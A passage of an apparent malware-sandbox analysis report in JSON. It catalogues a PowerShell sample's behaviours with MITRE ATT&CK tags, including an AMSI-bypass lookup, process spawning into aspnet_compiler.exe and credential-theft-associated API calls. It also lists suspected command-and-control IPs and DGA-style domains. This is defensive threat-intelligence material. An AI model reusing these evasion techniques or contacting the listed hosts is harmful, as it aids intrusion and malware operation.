\"AMSI\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":1,"id":"string-624","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"Cryptographic Related","name":"HTTP requests contain Base64 strings","description":"$2c","origin":"Network Traffic","mitre_attack_id":"T1132","relevance":1,"id":"network-60","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to deobfuscate/decode files or information","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: Contains ability to decode base64 data\n Matched sigs: Detected XOR operators (encryption/decryption)\n Matched sigs: Script contains XOR (Antimalware Scan Interface)\n Matched sigs: HTTP requests contain Base64 strings","origin":"Indicator Combinations","mitre_attack_id":"T1140","relevance":1,"id":"summary-32","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"The analysis contains indicators for crypto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains ability to decode base64 data\n Matched sigs: Contains CRYPTO related strings\n Matched sigs: Detected XOR operators (encryption/decryption)\n Matched sigs: Calls an API typically used to import asymmetric cryptographic keys into a CSP\n Matched sigs: Calls an API typically used to import cryptographic keys into a CSP\n Matched sigs: Script contains XOR (Antimalware Scan Interface)\n Matched sigs: Reads the cryptographic machine GUID\n Matched sigs: HTTP requests contain Base64 strings","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to use encryption for command and control traffic","description":"The analysis shows use of encryption\n use of http/https that can be used to send encrypted data on command and control server. Matched sigs: Detected XOR operators (encryption/decryption)\n Matched sigs: Script contains XOR (Antimalware Scan Interface)","origin":"Indicator Combinations","mitre_attack_id":"T1573.001","relevance":1,"id":"summary-31","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"Environment Awareness","name":"Able to enumerate system processes using native API","description":"Found reference to API \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00007328-00000C2C-547489505\")\n Found reference to API \"NtQuerySystemInformationW\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00007328-00000C2C-547844494\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-907","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using API string","description":"Found string \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00007328-00000C2C-547489505\")\n Found string \"NtQuerySystemInformationW\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00007328-00000C2C-547844494\")","origin":"File/Memory","mitre_attack_id":"T1497.001","relevance":1,"id":"string-659","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query security token membership for user discovery (API string)","description":"Found reference to API \"AllocateAndInitializeSid\" (Indicator: \"AllocateAndInitializeSid\"; Source: \"00000000-00007328-00000C2C-546949188\")\n Found reference to API \"FreeSid\" (Indicator: \"FreeSid\"; Source: \"00000000-00007328-00000C2C-546949360\")\n Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00007328-00000C2C-548208317\")\n Found reference to API \"CheckTokenMembershipW\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00007328-00000C2C-548208351\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-908","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"Environment Awareness","name":"Able to visualize and control listed components (API string)","description":"Found reference to API \"EnumWindows\" (Indicator: \"enumwindows\"; Source: \"00000000-00007328-00000C2C-547634471\")\n Found reference to API \"EnumWindowsW\" (Indicator: \"enumwindows\"; Source: \"00000000-00007328-00000C2C-547634502\")","origin":"File/Memory","mitre_attack_id":"T1055.015","relevance":1,"id":"string-721","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques","description":"\"powershell.exe\" called \"GetTickCount\" with parameters (UID: 00000000-00007328)","origin":"API Call","mitre_attack_id":"T1497","relevance":3,"id":"api-296","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs to gather system and hardware detail","description":"\"powershell.exe\" called \"GetSystemInfo\" with parameters (UID: 00000000-00007328)\n \"powershell.exe\" called \"GlobalMemoryStatusEx\" with parameters (UID: 00000000-00007328)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-294","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality","description":"\"powershell.exe\" called \"NtQueryInformationToken\" with parameters (UID: 00000000-00007328)","origin":"API Call","mitre_attack_id":"T1003","relevance":3,"id":"api-297","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to determine if process is running under WOW64","description":"\"powershell.exe\" called \"IsWow64Process\" with parameter \"7328\" - (UID: 00000000-00007328)","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-146","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to enumerate active windows","description":"\"powershell.exe\" called \"EnumWindows\" with parameter \"0\" - (UID: 00000000-00007328)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-152","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\"powershell.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00007328)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"$2d","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve OS information","description":"\"powershell.exe\" called \"GetVersionExA\" with parameter 940000000a00000000000000ab3f00000200000000004f00570053005c00730079007300740065006d00330032005c00570069006e0064006f007700730050006f007700650072005300680065006c006c005c00760031002e0030005c0070006f007700650072007300680065006c006c002e006500780065002e0063006f006e00660069006700000000000000000000000000 (UID: 00000000-00007328)","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-222","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve account information for specified SID","description":"\"powershell.exe\" called \"LookupAccountSidW\" with param Name NETWORK SERVICE (UID: 00000000-00007328)\n \"powershell.exe\" called \"LookupAccountSidW\" with param Name SYSTEM (UID: 00000000-00007328)","origin":"API Call","mitre_attack_id":"T1033","relevance":3,"id":"api-148","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve local language","description":"\"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"9\" - (UID: 00000000-00007328)","origin":"API Call","mitre_attack_id":"T1614","relevance":3,"id":"api-147","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"\"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"LEVELS\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"DEFAULTLEVEL\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"SAFERFLAGS\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"POLICYSCOPE\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"LOGFILENAME\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"AUTHENTICODEENABLED\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"Environment Awareness","name":"Queries TCP/IP interface details","description":"$2e","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-130","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information","description":"$2f","origin":"API Call","mitre_attack_id":"T1082","relevance":8,"id":"api-39","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the registry for installed applications","description":"\"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\POWERSHELL.EXE\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\POWERSHELL.EXE\"; Key: \"DONTUSEDESKTOPCHANGEROUTER\")","origin":"Registry Access","mitre_attack_id":"T1518","relevance":10,"id":"registry-55","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the windows installation date","description":"\"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\"; Key: \"INSTALLDATE\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-13","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"Environment Awareness","name":"Tries to access recent files","description":"\"powershell.exe\" trying to touch file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\"\n \"powershell.exe\" trying to touch file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms\"\n \"powershell.exe\" trying to touch file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\7LJBXOXGNDGMKWL008QO.TEMP\"\n \"powershell.exe\" trying to touch file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\7LJBXOXGNDGMKWL008QO.temp\"\n \"powershell.exe\" trying to touch file \"\\Device\\HarddiskVolume2\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\\"\n \"powershell.exe\" trying to touch file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms~RF179097.TMP\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-169","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"External Systems","name":"Detected Suricata Alert","description":"Detected alert \"ET INFO Namecheap URL Forward\" (SID: 2035208, Rev: 3, Severity: 3) categorized as \"Misc activity\"","origin":"Suricata Alerts","relevance":10,"id":"suricata-0","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"General","name":"Accesses System Certificates Settings","description":"$30","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-17","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"General","name":"Calls GetProcAddress on AmsiScanBuffer function (may used to bypass AMSI)","description":"\"powershell.exe\" called \"GetProcAddress\" with a parameter \"AmsiScanBuffer\" (UID: 00000000-00007328)","origin":"API Call","mitre_attack_id":"T1562.001","relevance":1,"id":"api-179","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a process","description":"\"powershell.exe\" called \"CreateProcessA\" with parameter \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_compiler.exe\" - (UID: 00000000-00007328)","origin":"API Call","mitre_attack_id":"T1106","relevance":5,"id":"api-128","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create an instance of a named pipe","description":"\"powershell.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\\PSHost.134352597603355580.7328.DefaultAppDomain.powershell\" - (UID: 00000000-00007328)","origin":"API Call","mitre_attack_id":"T1570","relevance":3,"id":"api-138","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"General","name":"Calls an API typically used to load libraries","description":"$31","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-175","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"General","name":"Calls an API typically used to retrieve function addresses","description":"$32","origin":"API Call","mitre_attack_id":"T1106","relevance":1,"id":"api-176","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"General","name":"Contacts domains","description":"\"pywolwnvd.biz\"\n \"ssbzmoy.biz\"\n \"cvgrf.biz\"\n \"npukfztj.biz\"\n \"przvgke.biz\"\n \"zlenh.biz\"\n \"knjghuig.biz\"\n \"anpmnmxo.biz\"\n \"www.anpmnmxo.biz\"\n \"lpuegx.biz\"\n \"vjaxhpbji.biz\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"44.244.22.128:80\"\n \"34.41.139.193:80\"\n \"3.229.117.57:80\"\n \"172.234.24.173:80\"\n \"34.170.92.185:80\"\n \"50.16.27.236:80\"\n \"192.64.119.165:80\"\n \"104.219.250.36:80\"\n \"104.219.250.36:443\"\n \"176.100.243.135:80\"\n \"52.16.171.153:80\"\n \"3.238.30.69:80\"\n \"172.234.24.152:80\"\n \"3.250.92.156:80\"\n \"34.229.166.50:80\"\n \"3.222.192.211:80\"\n \"52.43.119.120:80\"\n \"165.160.15.20:80\"\n \"193.166.255.171:80\"\n \"34.209.195.255:80\"\n \"52.212.150.54:80\"\n \"85.214.228.140:80\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"General","name":"Contains registry location strings","description":"\"Global\\UsGthrFltPipeMssGthrPipe1_ Global\\UsGthrCtrlFltPipeMssGthrPipe1 1 -2147483646 \"Software\\Microsoft\\Windows Search\" \"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT; MS Search 4.0 Robot)\" \"%ALLUSERSPROFILE%\\Microsoft\\Search\\Data\\Temp\\usgthrsvc\" \"DownLevelDaemon\"\" in Source: SearchProtocolHost.exe","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-120","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"$33","origin":"Created Mutant","mitre_attack_id":"T1480.002","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"General","name":"Executes a PowerShell script","description":"Process \"powershell.exe\" with commandline \"-f \"C:\\\\crypted.ps1\"\" (UID: 00000000-00007328)","origin":"Monitored Target","mitre_attack_id":"T1059.001","id":"target-401","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"General","name":"Fails to load modules at runtime","description":"$34","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-22","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"General","name":"Found User Agent related strings","description":"file/memory contains long string with (Indicator: \"mozilla/4.0 (\"; File: \"SearchProtocolHost.exe\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-127","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"General","name":"Found named pipe like strings","description":"Found string - \\\\.\\pipe\\PSHost.134352597603355580.7328.DefaultAppDomain.powershell","origin":"File/Memory","mitre_attack_id":"T1559","relevance":1,"id":"string-146","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"$35","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"General","name":"Loads the .NET runtime environment","description":"\"powershell.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll\" at DE700000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-3","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"General","name":"Loads the AMSI (Antimalware Scan Interface) DLL","description":"\"powershell.exe\" loaded module \"%WINDIR%\\System32\\amsi.dll\" at F9E50000","origin":"Loaded Module","mitre_attack_id":"T1562.001","id":"module-8","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"General","name":"Loads the Bcrypt module DLL","description":"\"powershell.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at 0F370000\n \"powershell.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at 0E210000\n \"aspnet_compiler.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcryptprimitives.dll\" at 75C30000\n \"aspnet_compiler.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcrypt.dll\" at 74610000\n \"SearchIndexer.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at 0F370000\n \"SearchProtocolHost.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at 0F370000\n \"SearchProtocolHost.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at 0E210000\n \"SearchFilterHost.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at 0F370000","origin":"Loaded Module","mitre_attack_id":"T1027","id":"module-9","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"General","name":"Loads the CLR Loader DLL","description":"\"powershell.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll\" at DFD00000","origin":"Loaded Module","mitre_attack_id":"T1620","id":"module-7","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"General","name":"Loads the RPC (Remote Procedure Call) module DLL","description":"\"powershell.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 0FCA0000\n \"aspnet_compiler.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 76E90000\n \"SearchIndexer.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 0FCA0000\n \"SearchProtocolHost.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 0FCA0000\n \"SearchFilterHost.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 0FCA0000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-10","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"General","name":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)","description":"\"19001a000000000040c7270ff87f0000@ntdll.dll\"\n \"220023000000000018c7270ff87f0000@ntdll.dll\"","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-8","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"General","name":"Matched Compiler/Packer signature (DIE)","description":"\"crypted.ps1\" was detected as \"plain text\" and name: \"Format\"","origin":"Static Parser","mitre_attack_id":"T1027","id":"static-157","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"General","name":"Observed Powershell command strings","description":"file/memory contains long string with (Indicator: \"powershell_ise.exe\"; File: \"7LJBXOXGNDGMKWL008QO.temp\")\n file/memory contains long string with (Indicator: \"New-Object\"; File: \"AMSI\")\n file/memory contains long string with (Indicator: \"Write-Debug\"; File: \"AMSI\")\n file/memory contains long string with (Indicator: \"Write-Error\"; File: \"AMSI\")\n file/memory contains long string with (Indicator: \"Write-Warning\"; File: \"AMSI\")","origin":"File/Memory","mitre_attack_id":"T1059.001","relevance":1,"id":"string-187","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"General","name":"Overview of unique CLSIDs touched in registry","description":"$36","origin":"Registry Access","mitre_attack_id":"T1546.015","relevance":3,"id":"registry-72","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"General","name":"Possibly uses system binaries (Windows LOLbins)","description":"$37","origin":"File/Memory","relevance":1,"id":"string-170","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"Process \"aspnet_compiler.exe\" (UID: 00000000-00007148) was launched with new environment variables: \"USERDNSDOMAIN=\"DESKTOP-FVVF82A\"\"\n Process \"aspnet_compiler.exe\" (UID: 00000000-00007148) was launched with modified environment variables: \"NUMBER_OF_PROCESSORS\"\n Process \"SearchProtocolHost.exe\" (UID: 00000000-00004236) was launched with modified environment variables: \"Path, TEMP, TMP\"","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"General","name":"Queries DNS server","description":"\"acwjcqqv.biz\"\n \"anpmnmxo.biz\"\n \"brsua.biz\"\n \"bumxkqgxu.biz\"\n \"cvgrf.biz\"\n \"deoci.biz\"\n \"dlynankz.biz\"\n \"dwrqljrr.biz\"\n \"esuzf.biz\"\n \"ftxlah.biz\"\n \"fwiwk.biz\"\n \"gcedd.biz\"\n \"gnqgo.biz\"\n \"great417.ddns.net\"\n \"gvijgjwkh.biz\"\n \"gytujflc.biz\"\n \"ifsaia.biz\"\n \"iuzpxe.biz\"\n \"jdhhbs.biz\"\n \"jhvzpcfg.biz\"\n \"jpskm.biz\"\n \"knjghuig.biz\"\n \"lejtdj.biz\"\n \"lpuegx.biz\"\n \"lrxdmhrr.biz\"","origin":"Network Traffic","mitre_attack_id":"T1071.004","relevance":1,"id":"network-51","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"General","name":"Reads Windows Trust Settings","description":"\"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\"; Key: \"STATE\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":5,"id":"registry-20","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"General","name":"Reads configuration files (.ini files)","description":"$38","origin":"API Call","mitre_attack_id":"T1083","relevance":4,"id":"api-6","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"General","name":"Reads information about supported languages","description":"\"powershell.exe\" (Path: \"HKCU\\CONTROL PANEL\\INTERNATIONAL\"; Key: \"SYEARMONTH\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")\n \"powershell.exe\" (Path: \"HKCU\\CONTROL PANEL\\INTERNATIONAL\\USER PROFILE\"; Key: \"LANGUAGES\")\n \"powershell.exe\" (Path: \"HKCU\\CONTROL PANEL\\INTERNATIONAL\\GEO\"; Key: \"NATION\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"General","name":"References Windows file paths for DLLs (possible dropped files)","description":"$39","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-625","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"Spawned process \"aspnet_compiler.exe\" (UID: 00000000-00007148)\n Spawned process \"aspnet_compiler.exe\" (UID: 00000000-00008040)\n Spawned process \"aspnet_compiler.exe\" (UID: 00000000-00004404)\n Spawned process \"aspnet_compiler.exe\" (UID: 00000000-00003604)\n Spawned process \"aspnet_compiler.exe\" (UID: 00000000-00004392)\n Spawned process \"aspnet_compiler.exe\" (UID: 00000000-00007596)\n Spawned process \"SearchIndexer.exe\" with commandline \"/Embedding\" (UID: 00000000-00001828)\n Spawned process \"SearchProtocolHost.exe\" with commandline \"Global\\\\UsGthrFltPipeMssGthrPipe1_ Global\\\\UsGthrCtrlFltPipeMssG ...\" (UID: 00000000-00004236)\n Spawned process \"SearchFilterHost.exe\" with commandline \"0 736 740 748 8192 744\" (UID: 00000000-00007548)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"level":"informative","category":"General","name":"Spawns new processes that are not known child processes","description":"Spawned process \"aspnet_compiler.exe\" (UID: 00000000-00007148)\n Spawned process \"aspnet_compiler.exe\" (UID: 00000000-00008040)\n Spawned process \"aspnet_compiler.exe\" (UID: 00000000-00004404)\n Spawned process \"aspnet_compiler.exe\" (UID: 00000000-00003604)\n Spawned process \"aspnet_compiler.exe\" (UID: 00000000-00004392)\n Spawned process \"aspnet_compiler.exe\" (UID: 00000000-00007596)\n Spawned process \"SearchIndexer.exe\" with commandline \"/Embedding\" (UID: 00000000-00001828)\n Spawned process \"SearchProtocolHost.exe\" with commandline \"Global\\\\UsGthrFltPipeMssGthrPipe1_ Global\\\\UsGthrCtrlFltPipeMssG ...\" (UID: 00000000-00004236)\n Spawned process \"SearchFilterHost.exe\" with commandline \"0 736 740 